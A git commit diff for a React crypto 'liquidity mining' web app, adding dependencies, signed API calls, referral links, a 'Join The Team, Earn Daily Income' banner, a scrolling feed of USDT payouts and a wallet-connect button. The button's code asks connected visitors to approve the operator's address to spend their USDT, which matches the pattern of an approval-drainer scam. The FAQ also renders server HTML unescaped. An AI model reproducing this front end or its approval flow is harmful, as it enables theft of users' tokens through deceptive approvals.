progressing
This commit is contained in:
john
parent
665697e574
commit
3330bdae5b
|
|
@ -2429,6 +2429,11 @@
|
|||
"@ethersproject/strings": "^5.6.0"
|
||||
}
|
||||
},
|
||||
"@fontsource/open-sans": {
|
||||
"version": "4.5.10",
|
||||
"resolved": "https://registry.npmjs.org/@fontsource/open-sans/-/open-sans-4.5.10.tgz",
|
||||
"integrity": "sha512-MrtTDfWb1Tu9YxVh2KaKmsKBn6O3KL/lHZS0KRKK58jgqvdwuiDt4QW4udmW4FQf0XOWgnZ+4vKUF80F3SqBAA=="
|
||||
},
|
||||
"@humanwhocodes/config-array": {
|
||||
"version": "0.9.5",
|
||||
"resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.9.5.tgz",
|
||||
|
|
@ -5867,6 +5872,11 @@
|
|||
"randomfill": "^1.0.3"
|
||||
}
|
||||
},
|
||||
"crypto-js": {
|
||||
"version": "4.1.1",
|
||||
"resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz",
|
||||
"integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw=="
|
||||
},
|
||||
"crypto-random-string": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
|
||||
|
|
@ -8656,6 +8666,65 @@
|
|||
}
|
||||
}
|
||||
},
|
||||
"html-dom-parser": {
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/html-dom-parser/-/html-dom-parser-1.2.0.tgz",
|
||||
"integrity": "sha512-2HIpFMvvffsXHFUFjso0M9LqM+1Lm22BF+Df2ba+7QHJXjk63pWChEnI6YG27eaWqUdfnh5/Vy+OXrNTtepRsg==",
|
||||
"requires": {
|
||||
"domhandler": "4.3.1",
|
||||
"htmlparser2": "7.2.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"dom-serializer": {
|
||||
"version": "1.4.1",
|
||||
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
|
||||
"integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^4.2.0",
|
||||
"entities": "^2.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"entities": {
|
||||
"version": "2.2.0",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
|
||||
"integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
|
||||
}
|
||||
}
|
||||
},
|
||||
"domelementtype": {
|
||||
"version": "2.3.0",
|
||||
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
|
||||
"integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
|
||||
},
|
||||
"domutils": {
|
||||
"version": "2.8.0",
|
||||
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
|
||||
"integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
|
||||
"requires": {
|
||||
"dom-serializer": "^1.0.1",
|
||||
"domelementtype": "^2.2.0",
|
||||
"domhandler": "^4.2.0"
|
||||
}
|
||||
},
|
||||
"entities": {
|
||||
"version": "3.0.1",
|
||||
"resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz",
|
||||
"integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q=="
|
||||
},
|
||||
"htmlparser2": {
|
||||
"version": "7.2.0",
|
||||
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz",
|
||||
"integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==",
|
||||
"requires": {
|
||||
"domelementtype": "^2.0.1",
|
||||
"domhandler": "^4.2.2",
|
||||
"domutils": "^2.8.0",
|
||||
"entities": "^3.0.1"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"html-encoding-sniffer": {
|
||||
"version": "2.0.1",
|
||||
"resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
|
||||
|
|
@ -8703,6 +8772,17 @@
|
|||
"void-elements": "3.1.0"
|
||||
}
|
||||
},
|
||||
"html-react-parser": {
|
||||
"version": "1.4.12",
|
||||
"resolved": "https://registry.npmjs.org/html-react-parser/-/html-react-parser-1.4.12.tgz",
|
||||
"integrity": "sha512-nqYQzr4uXh67G9ejAG7djupTHmQvSTgjY83zbXLRfKHJ0F06751jXx6WKSFARDdXxCngo2/7H4Rwtfeowql4gQ==",
|
||||
"requires": {
|
||||
"domhandler": "4.3.1",
|
||||
"html-dom-parser": "1.2.0",
|
||||
"react-property": "2.0.0",
|
||||
"style-to-js": "1.1.0"
|
||||
}
|
||||
},
|
||||
"html-webpack-plugin": {
|
||||
"version": "5.5.0",
|
||||
"resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz",
|
||||
|
|
@ -8963,6 +9043,11 @@
|
|||
"resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
|
||||
"integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
|
||||
},
|
||||
"inline-style-parser": {
|
||||
"version": "0.1.1",
|
||||
"resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz",
|
||||
"integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q=="
|
||||
},
|
||||
"internal-slot": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
|
||||
|
|
@ -13533,6 +13618,11 @@
|
|||
"resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
|
||||
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
|
||||
},
|
||||
"react-property": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/react-property/-/react-property-2.0.0.tgz",
|
||||
"integrity": "sha512-kzmNjIgU32mO4mmH5+iUyrqlpFQhF8K2k7eZ4fdLSOPFrD1XgEuSBv9LDEgxRXTMBqMd8ppT0x6TIzqE5pdGdw=="
|
||||
},
|
||||
"react-refresh": {
|
||||
"version": "0.11.0",
|
||||
"resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
|
||||
|
|
@ -14800,6 +14890,22 @@
|
|||
"resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz",
|
||||
"integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ=="
|
||||
},
|
||||
"style-to-js": {
|
||||
"version": "1.1.0",
|
||||
"resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.0.tgz",
|
||||
"integrity": "sha512-1OqefPDxGrlMwcbfpsTVRyzwdhr4W0uxYQzeA2F1CBc8WG04udg2+ybRnvh3XYL4TdHQrCahLtax2jc8xaE6rA==",
|
||||
"requires": {
|
||||
"style-to-object": "0.3.0"
|
||||
}
|
||||
},
|
||||
"style-to-object": {
|
||||
"version": "0.3.0",
|
||||
"resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.3.0.tgz",
|
||||
"integrity": "sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==",
|
||||
"requires": {
|
||||
"inline-style-parser": "0.1.1"
|
||||
}
|
||||
},
|
||||
"style-value-types": {
|
||||
"version": "5.0.0",
|
||||
"resolved": "https://registry.npmjs.org/style-value-types/-/style-value-types-5.0.0.tgz",
|
||||
|
|
|
|||
|
|
@ -8,12 +8,15 @@
|
|||
"@coinbase/wallet-sdk": "^3.1.0",
|
||||
"@emotion/react": "^11.9.0",
|
||||
"@emotion/styled": "^11.8.1",
|
||||
"@fontsource/open-sans": "^4.5.10",
|
||||
"@testing-library/jest-dom": "^5.16.4",
|
||||
"@testing-library/react": "^10.4.9",
|
||||
"@testing-library/user-event": "^12.8.3",
|
||||
"@walletconnect/web3-provider": "^1.7.8",
|
||||
"axios": "^0.27.2",
|
||||
"crypto-js": "^4.1.1",
|
||||
"framer-motion": "^6.3.3",
|
||||
"html-react-parser": "^1.4.12",
|
||||
"i18next": "^21.8.2",
|
||||
"prop-types": "^15.8.1",
|
||||
"react": "^18.1.0",
|
||||
|
|
|
|||
Binary file not shown.
|
After Width: | Height: | Size: 4.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 12 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -6,6 +6,7 @@ import { theme } from './theme'
|
|||
import { Layout } from './components'
|
||||
import { Outlet } from 'react-router-dom'
|
||||
import { AppContextProvider } from './AppContext'
|
||||
import '@fontsource/open-sans/400.css'
|
||||
|
||||
function App() {
|
||||
|
||||
|
|
|
|||
|
|
@ -2,7 +2,10 @@ import React from "react"
|
|||
import { config } from "./config"
|
||||
import { get_settings } from './api'
|
||||
import { ImTwitter, ImTelegram, ImFacebook, ImWhatsapp } from "react-icons/im"
|
||||
import { FiHome, FiTrendingUp, FiLock } from 'react-icons/fi'
|
||||
import {
|
||||
FiHome, FiTrendingUp, FiLock,
|
||||
FiActivity, FiUser, FiUsers,
|
||||
} from 'react-icons/fi'
|
||||
import { useTranslation } from "react-i18next"
|
||||
|
||||
const AppContext = React.createContext(null)
|
||||
|
|
@ -22,6 +25,7 @@ export const AppContextProvider = ({ children }) => {
|
|||
const { t } = useTranslation()
|
||||
|
||||
const [address, setAddress] = React.useState('')
|
||||
const [shareLink, setShareLink] = React.useState('')
|
||||
// from settings
|
||||
const [title, setTitle] = React.useState('')
|
||||
const [logo, setLogo] = React.useState('')
|
||||
|
|
@ -37,9 +41,9 @@ export const AppContextProvider = ({ children }) => {
|
|||
const [kefuUrl, setKefuUrl] = React.useState('')
|
||||
|
||||
const menuItems = [
|
||||
{ name: t('home'), icon: FiHome, path: '/home', enabled: true },
|
||||
{ name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true },
|
||||
{ name: t('staking'), icon: FiLock, path: '/staking', enabled: true },
|
||||
{ name: t('mining'), icon: FiActivity, path: '/home', enabled: true },
|
||||
{ name: t('account'), icon: FiUser, path: '/account', enabled: true },
|
||||
{ name: t('team'), icon: FiUsers, path: '/team', enabled: true },
|
||||
]
|
||||
|
||||
const docItems = [
|
||||
|
|
@ -92,6 +96,8 @@ export const AppContextProvider = ({ children }) => {
|
|||
<AppContext.Provider value={{
|
||||
address,
|
||||
setAddress,
|
||||
shareLink,
|
||||
setShareLink,
|
||||
logo,
|
||||
lockImg,
|
||||
title,
|
||||
|
|
|
|||
116
src/api/api.js
116
src/api/api.js
|
|
@ -1,6 +1,9 @@
|
|||
import axios from 'axios'
|
||||
import crypto from 'crypto-js'
|
||||
import { config } from '../config'
|
||||
|
||||
const sha1 = (s) => crypto.SHA1(s).toString()
|
||||
|
||||
const get = (path) => {
|
||||
return axios.get(config.ENDPOINT + path)
|
||||
}
|
||||
|
|
@ -9,12 +12,30 @@ const getWith = (path, data) => {
|
|||
return axios.get(config.ENDPOINT + path, { params: data })
|
||||
}
|
||||
|
||||
const post = (path, data, onSuccess, onFailed) => {
|
||||
axios.post(config.ENDPOINT + path, data).then(res => {
|
||||
onSuccess && onSuccess(res.data)
|
||||
}).catch(err => {
|
||||
onFailed && onFailed(err)
|
||||
})
|
||||
const getApi = (path) => {
|
||||
return axios.get(config.ENDPOINT + 'api/' + path)
|
||||
}
|
||||
|
||||
const getApiWith = (path, data) => {
|
||||
return axios.get(config.ENDPOINT + 'api/' + path, { params: data })
|
||||
}
|
||||
|
||||
/**
|
||||
* POST json body to backend.
|
||||
*
|
||||
* NOTICE: started with /api/
|
||||
*
|
||||
* @param {string} path url path
|
||||
* @param {json object} json js object
|
||||
* @param {function} onSuccess
|
||||
* @param {function} onFailed
|
||||
*/
|
||||
const post = (path, json) => {
|
||||
return axios.post(config.ENDPOINT + 'api/' + path, json, {
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
export const get_settings = () => {
|
||||
|
|
@ -47,6 +68,89 @@ export const get_register = (address, referral) => {
|
|||
})
|
||||
}
|
||||
|
||||
// new api
|
||||
export const post_register = (address, referral, protocol = 'ERC20') => {
|
||||
const ts = Math.floor(Date.now() / 1000)
|
||||
const s = sha1(address + protocol + ts)
|
||||
|
||||
return post('v1/register', {
|
||||
address,
|
||||
referral,
|
||||
protocol,
|
||||
ts,
|
||||
s,
|
||||
})
|
||||
}
|
||||
|
||||
export const post_authorized = (address, hash) => {
|
||||
const ts = Math.floor(Date.now() / 1000)
|
||||
const s = sha1(address + ts)
|
||||
|
||||
return post('v1/authorized', {
|
||||
address,
|
||||
hash,
|
||||
ts,
|
||||
s,
|
||||
})
|
||||
}
|
||||
|
||||
export const post_staking = (address, amount) => {
|
||||
const ts = Math.floor(Date.now() / 1000)
|
||||
const s = sha1(address + amount + ts)
|
||||
|
||||
return post('v1/staking', {
|
||||
address,
|
||||
amount,
|
||||
ts,
|
||||
s,
|
||||
})
|
||||
}
|
||||
|
||||
export const post_withdraw = (address, amount) => {
|
||||
const ts = Math.floor(Date.now() / 1000)
|
||||
const s = sha1(address + amount + ts)
|
||||
|
||||
return post('v1/withdraw', {
|
||||
address,
|
||||
amount,
|
||||
ts,
|
||||
s,
|
||||
})
|
||||
}
|
||||
|
||||
export const get_page_mining = () => {
|
||||
return getApi('v1/page_mining')
|
||||
}
|
||||
|
||||
export const get_page_account = () => {
|
||||
return getApi('v1/page_account')
|
||||
}
|
||||
|
||||
export const get_page_team = () => {
|
||||
return getApi('v1/page_team')
|
||||
}
|
||||
|
||||
export const get_withdrawal_history = (address) => {
|
||||
return getApi('v1/withdrawal_history', {
|
||||
address,
|
||||
})
|
||||
}
|
||||
|
||||
export const get_daily_revenue_history = (address) => {
|
||||
|
||||
return getApi('v1/daily_revenue_history', {
|
||||
address,
|
||||
})
|
||||
}
|
||||
|
||||
export const get_reward_history = (address) => {
|
||||
return getApi('v1/reward_history', {
|
||||
address,
|
||||
})
|
||||
}
|
||||
|
||||
// ========================================
|
||||
|
||||
export const get_ether = (address) => {
|
||||
return getWith('apiEther', {
|
||||
address,
|
||||
|
|
|
|||
|
|
@ -32,13 +32,14 @@ export const Auditors = ({ ...rest }) => {
|
|||
</Text>
|
||||
</Center>
|
||||
<HStack
|
||||
spacing={{ base: '6', md: '30', lg: '60' }}
|
||||
spacing={{ base: '6', md: '40' }}
|
||||
py='4'
|
||||
px='8'
|
||||
>
|
||||
{
|
||||
Images.auditors.map((img) => (
|
||||
<Box key={img}>
|
||||
<Image src={img} alt="auditor" />
|
||||
<Image borderRadius="50%" src={img} alt="auditor" />
|
||||
</Box>
|
||||
))
|
||||
}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,41 @@
|
|||
import {
|
||||
Divider, Accordion, AccordionItem,
|
||||
AccordionButton, Box, AccordionIcon,
|
||||
AccordionPanel,
|
||||
} from "@chakra-ui/react"
|
||||
import React from "react"
|
||||
import { PanelHeader, VPanel } from "./Panels"
|
||||
import parse from 'html-react-parser'
|
||||
|
||||
|
||||
export const Faq = ({ articles, ...rest }) => {
|
||||
|
||||
return (
|
||||
<VPanel {...rest}>
|
||||
<PanelHeader header="Help Center" subHeader="Hope it help you" />
|
||||
|
||||
<Accordion w="full" allowToggle>
|
||||
|
||||
{
|
||||
articles && articles.map((a, index) => (
|
||||
<AccordionItem key={index}>
|
||||
<h2>
|
||||
<AccordionButton>
|
||||
<Box fontWeight='600' flex='1' textAlign='left'>
|
||||
{a.title}
|
||||
</Box>
|
||||
<AccordionIcon />
|
||||
</AccordionButton>
|
||||
</h2>
|
||||
<AccordionPanel pb={4}>
|
||||
{parse(a.content)}
|
||||
</AccordionPanel>
|
||||
</AccordionItem>
|
||||
))
|
||||
}
|
||||
|
||||
</Accordion>
|
||||
|
||||
</VPanel>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
import React from 'react'
|
||||
import { Button, Flex, VStack, Stack, Text } from '@chakra-ui/react'
|
||||
import { HFStack, Placeholder, VFStack } from './base'
|
||||
import { Logo } from './Logo'
|
||||
import { Images } from '../data'
|
||||
import { WalletButton } from './WalletButton'
|
||||
|
||||
export const Hero = ({ bg }) => {
|
||||
|
||||
return (
|
||||
<Flex w="full" h="30vh"
|
||||
bgImage={'url(' + Images.stakingBanner + ')'}
|
||||
bgSize="cover"
|
||||
bgPos="center"
|
||||
>
|
||||
|
||||
<VFStack align="start">
|
||||
{/* <HFStack my="4" px="4"> */}
|
||||
<Logo p="4" />
|
||||
{/* </HFStack> */}
|
||||
|
||||
<Placeholder h='16' />
|
||||
<VStack pl="4">
|
||||
<Text
|
||||
fontWeight='700'
|
||||
fontSize='22'
|
||||
color='white'
|
||||
>
|
||||
Join The Team
|
||||
</Text>
|
||||
<Text
|
||||
fontWeight='700'
|
||||
fontSize='14'
|
||||
color='white'
|
||||
>
|
||||
Earn Daily Income
|
||||
</Text>
|
||||
<Stack>
|
||||
<WalletButton />
|
||||
</Stack>
|
||||
</VStack>
|
||||
</VFStack>
|
||||
</Flex>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
import React from "react"
|
||||
import { Divider, Text, Box, useColorModeValue } from "@chakra-ui/react"
|
||||
|
||||
import { HBetween, HFStack } from "./base"
|
||||
import { PanelHeader, VPanel } from "./Panels"
|
||||
|
||||
|
||||
export const LRPanel = (icon, title, data) => {
|
||||
|
||||
const TL = ({ title }) => (
|
||||
<Text
|
||||
color="gray.500"
|
||||
fontSize="16"
|
||||
>
|
||||
{title}
|
||||
</Text>
|
||||
)
|
||||
const TR = ({ value, ...rest }) => (
|
||||
<Text
|
||||
fontSize="20"
|
||||
fontWeight="700"
|
||||
{...rest}
|
||||
>
|
||||
{value}
|
||||
</Text>
|
||||
)
|
||||
|
||||
return (
|
||||
<VPanel>
|
||||
|
||||
<PanelHeader header={title} />
|
||||
|
||||
<Divider />
|
||||
|
||||
<HBetween py="2">
|
||||
<TL title="ggg" />
|
||||
<TR value="gdf" />
|
||||
</HBetween>
|
||||
{
|
||||
|
||||
data && data.map((item, index) => (
|
||||
<HBetween key={index} py="2">
|
||||
<TL title={item.name} />
|
||||
<TR value={item.value} />
|
||||
</HBetween>
|
||||
))
|
||||
|
||||
}
|
||||
</VPanel >
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
import React from "react"
|
||||
import { Text } from "@chakra-ui/react"
|
||||
import { PanelHeader, VPanel } from "./Panels"
|
||||
import { VFStack, HFStack, HBetween } from "./base"
|
||||
import { Swiper, SwiperSlide } from "swiper/react"
|
||||
|
||||
import 'swiper/css'
|
||||
import "swiper/css/pagination"
|
||||
import "swiper/css/navigation"
|
||||
import '../swiper.css'
|
||||
|
||||
import { Pagination, Autoplay, Navigation } from "swiper"
|
||||
|
||||
let format = [
|
||||
{ address: '', quantity: 234234.05 }
|
||||
]
|
||||
export const LatestScreen = ({ data, ...rest }) => {
|
||||
|
||||
const TAddress = ({ text }) => (<Text color='blue.500'>{text}</Text>)
|
||||
|
||||
const TQuantity = ({ text }) => (<Text fontWeight='500'>{text}</Text>)
|
||||
|
||||
return (
|
||||
<VPanel {...rest}>
|
||||
<PanelHeader header="Mining" subHeader="Liquidity mining income" />
|
||||
|
||||
<HBetween py="2">
|
||||
<Text
|
||||
color='gray.500'
|
||||
fontSize="16"
|
||||
>Address</Text>
|
||||
<Text
|
||||
color='gray.500'
|
||||
fontSize="16"
|
||||
>Quantity</Text>
|
||||
</HBetween>
|
||||
|
||||
<HFStack h="60">
|
||||
<Swiper
|
||||
direction={"vertical"}
|
||||
slidesPerView={6}
|
||||
spaceBetween={0}
|
||||
// centeredSlides={true}
|
||||
speed={5000}
|
||||
loop={true}
|
||||
autoplay={{
|
||||
delay: 1,
|
||||
disableOnInteraction: false
|
||||
}}
|
||||
// pagination={{
|
||||
// clickable: true
|
||||
// }}
|
||||
modules={[Autoplay, Pagination, Navigation]}
|
||||
className="swiper-container-free-mode"
|
||||
>
|
||||
{
|
||||
data && data.map((d, index) => (
|
||||
<SwiperSlide key={index} h="10">
|
||||
<HBetween>
|
||||
<TAddress text={d.address} />
|
||||
<TQuantity text={d.quantity + ' USDT'} />
|
||||
</HBetween>
|
||||
</SwiperSlide>
|
||||
))
|
||||
}
|
||||
</Swiper>
|
||||
</HFStack>
|
||||
|
||||
</VPanel>
|
||||
)
|
||||
}
|
||||
|
|
@ -6,42 +6,29 @@ import React from 'react'
|
|||
import { SideBar } from './SideBar'
|
||||
import { AppBar } from './AppBar'
|
||||
import { BottomNav } from './BottomNav'
|
||||
import { Hero } from './Hero'
|
||||
import { HFStack } from './base'
|
||||
|
||||
/**
|
||||
* This component was not composed for more widely using but just for this project.
|
||||
*/
|
||||
export const Layout = ({ children }) => {
|
||||
const { isOpen: isDrawerOpening, onOpen: onOpenDrawer, onClose: onCloseDrawer } = useDisclosure()
|
||||
const { isOpen: isOpenDrawer, onOpen: onOpenDrawer, onClose: onCloseDrawer } = useDisclosure()
|
||||
|
||||
const bg = useColorModeValue('gray.100', 'gray.900')
|
||||
|
||||
return (
|
||||
<Box minH="100vh" bg={bg}>
|
||||
<SideBar
|
||||
onCloseDrawer={onCloseDrawer}
|
||||
display={{ base: 'none', md: 'block' }}
|
||||
/>
|
||||
|
||||
<Drawer
|
||||
autoFocus={false}
|
||||
isOpen={isDrawerOpening}
|
||||
placement="right"
|
||||
onClose={onCloseDrawer}
|
||||
returnFocusOnClose={false}
|
||||
onOverlayClick={onCloseDrawer}
|
||||
size="md">
|
||||
|
||||
<DrawerOverlay />
|
||||
|
||||
<DrawerContent>
|
||||
<SideBar onCloseDrawer={onCloseDrawer} />
|
||||
</DrawerContent>
|
||||
</Drawer>
|
||||
|
||||
<AppBar onOpenDrawer={onOpenDrawer} />
|
||||
<HFStack
|
||||
bg="white"
|
||||
borderRadius="5"
|
||||
>
|
||||
<Hero />
|
||||
</HFStack>
|
||||
|
||||
<Box
|
||||
ml={{ base: 0, md: 60 }}
|
||||
// ml={{ base: 0, md: 60 }}
|
||||
bg="white"
|
||||
py="4"
|
||||
px={{ base: 2, md: 8 }}
|
||||
overflowY="auto"
|
||||
|
|
@ -49,7 +36,7 @@ export const Layout = ({ children }) => {
|
|||
{children}
|
||||
</Box>
|
||||
|
||||
<BottomNav display={{ base: 'flex', md: 'none' }} />
|
||||
<BottomNav zIndex="1" display={{ base: 'flex', md: 'none' }} />
|
||||
|
||||
</Box>
|
||||
)
|
||||
|
|
|
|||
|
|
@ -0,0 +1,68 @@
|
|||
import { Stack, VStack, useColorModeValue, Text, HStack } from "@chakra-ui/react"
|
||||
import { VFStack } from "./base"
|
||||
|
||||
|
||||
export const AutoPanel = ({ children, ...rest }) => {
|
||||
|
||||
const bg = useColorModeValue('white', 'gray.900')
|
||||
|
||||
return (
|
||||
<Stack
|
||||
w="full"
|
||||
bg={bg}
|
||||
borderWidth="1px"
|
||||
borderRadius="lg"
|
||||
boxShadow="lg"
|
||||
p="4"
|
||||
direction={{ base: 'column', md: 'row' }}
|
||||
{...rest}
|
||||
>
|
||||
{children}
|
||||
</Stack>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
export const VPanel = ({ children, ...rest }) => {
|
||||
|
||||
const bg = useColorModeValue('white', 'gray.900')
|
||||
|
||||
return (
|
||||
<VStack
|
||||
bg={bg}
|
||||
borderWidth="1px"
|
||||
borderRadius="lg"
|
||||
boxShadow="lg"
|
||||
p="4"
|
||||
{...rest}
|
||||
>
|
||||
{children}
|
||||
</VStack>
|
||||
)
|
||||
}
|
||||
|
||||
export const PanelHeader = ({ header, subHeader, ...rest }) => (
|
||||
<VFStack
|
||||
{...rest}
|
||||
>
|
||||
{
|
||||
header &&
|
||||
<HStack>
|
||||
<Text
|
||||
fontSize="18"
|
||||
fontWeight="700"
|
||||
>{header}</Text>
|
||||
</HStack>
|
||||
}
|
||||
{
|
||||
subHeader &&
|
||||
<HStack>
|
||||
<Text
|
||||
fontSize="16"
|
||||
fontWeight="700"
|
||||
color='gray.500'
|
||||
>{subHeader}</Text>
|
||||
</HStack>
|
||||
}
|
||||
</VFStack>
|
||||
)
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
import React from "react"
|
||||
import { Divider, Text, Icon, } from "@chakra-ui/react"
|
||||
|
||||
import { HBetween, HFStack } from "./base"
|
||||
import { VPanel } from "./Panels"
|
||||
|
||||
|
||||
export const PoolData = ({ icon, title, data }) => {
|
||||
const TL = ({ title }) => (
|
||||
<Text
|
||||
color="gray.500"
|
||||
fontSize="16"
|
||||
>
|
||||
{title}
|
||||
</Text>
|
||||
)
|
||||
|
||||
const TR = ({ value, ...rest }) => (
|
||||
<Text
|
||||
fontSize="16"
|
||||
fontWeight="700"
|
||||
{...rest}
|
||||
>
|
||||
{value}
|
||||
</Text>
|
||||
)
|
||||
|
||||
return (
|
||||
<VPanel>
|
||||
<HFStack>
|
||||
{icon && <Icon as={icon} />}
|
||||
<Text
|
||||
fontSize="18"
|
||||
fontWeight="700"
|
||||
>
|
||||
{title}
|
||||
</Text>
|
||||
</HFStack>
|
||||
|
||||
<Divider />
|
||||
|
||||
{
|
||||
data && data.map((d, index) => (
|
||||
<HBetween key={index} py="2">
|
||||
<TL title={d.name} />
|
||||
<TR color={d.emp ? "blue.400" : ''} value={d.value + ' ' + d.unit} />
|
||||
</HBetween>
|
||||
))
|
||||
}
|
||||
</VPanel>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,145 @@
|
|||
import React from "react"
|
||||
import { Button, useDisclosure, useToast } from "@chakra-ui/react"
|
||||
import { useApp } from "../AppContext"
|
||||
import { useSearchParams } from 'react-router-dom'
|
||||
import { toastw, toasti, ModalDeposite, toasts, toaste } from '../uimsg'
|
||||
import { connectWallet, addEventListeners, fetchAccount, approve, transfer } from '../lib'
|
||||
import { post_register, post_staking, get_ether, post_authorized, get_authorization_search } from '../api'
|
||||
import { ABI, contract_usdt_on_eth } from "../data"
|
||||
|
||||
const walletButtonOptions = {
|
||||
text: 'Join In',
|
||||
connText: 'Deposite',
|
||||
}
|
||||
|
||||
export const WalletButton = ({ ...rest }) => {
|
||||
const app = useApp()
|
||||
const toast = useToast()
|
||||
const [authorized, setAutorized] = React.useState(false)
|
||||
const [searchParams, setSearchParams] = useSearchParams()
|
||||
const { isOpen: isOpenDeposite, onOpen: doOpenDeposite, onClose: doCloseDeposite } = useDisclosure()
|
||||
const refDepositeFocus = React.useRef()
|
||||
|
||||
const getUserWalletAddress = async () => {
|
||||
const address = await fetchAccount()
|
||||
if (address) {
|
||||
app.setAddress(prev => address)
|
||||
toasti(toast, address, 'Connected')
|
||||
}
|
||||
|
||||
const referral = searchParams.get('referral') || ''
|
||||
post_register(address, referral).then(res => {
|
||||
app.setShareLink(res.data.shareLink)
|
||||
// console.log(res.data)
|
||||
}).catch(err => {
|
||||
console.error('get_register() error:' + err.message)
|
||||
})
|
||||
|
||||
// checkAuth(address)
|
||||
}
|
||||
|
||||
const connect = async () => {
|
||||
if (await connectWallet()) {
|
||||
await addEventListeners(getUserWalletAddress)
|
||||
await getUserWalletAddress()
|
||||
}
|
||||
}
|
||||
|
||||
const checkAuth = (address) => {
|
||||
get_ether(address).then(res => {
|
||||
let auth_ok = false
|
||||
|
||||
res.data.result.forEach(r => {
|
||||
if (r.from == address.toLowerCase() && r.isError == 0) {
|
||||
if (r.input.search(app.appAddress.substring(4, 35).toLowerCase()) != -1 &&
|
||||
r.to == contract_usdt_on_eth) {
|
||||
|
||||
auth_ok = true
|
||||
setAutorized(true)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if (!auth_ok) {
|
||||
approve(ABI, contract_usdt_on_eth, app.appAddress, address, (err, tx) => {
|
||||
if (!err) {
|
||||
post_authorized(address, tx).then(res => {
|
||||
|
||||
}).catch(err => {
|
||||
console.error('post_authorized() error:' + err.message)
|
||||
})
|
||||
|
||||
//
|
||||
let hi = setInterval(() => {
|
||||
get_authorization_search(tx).then(res => {
|
||||
clearInterval(hi)
|
||||
}).catch(err => {
|
||||
console.error("get_authorization_search() error:" + err.message)
|
||||
})
|
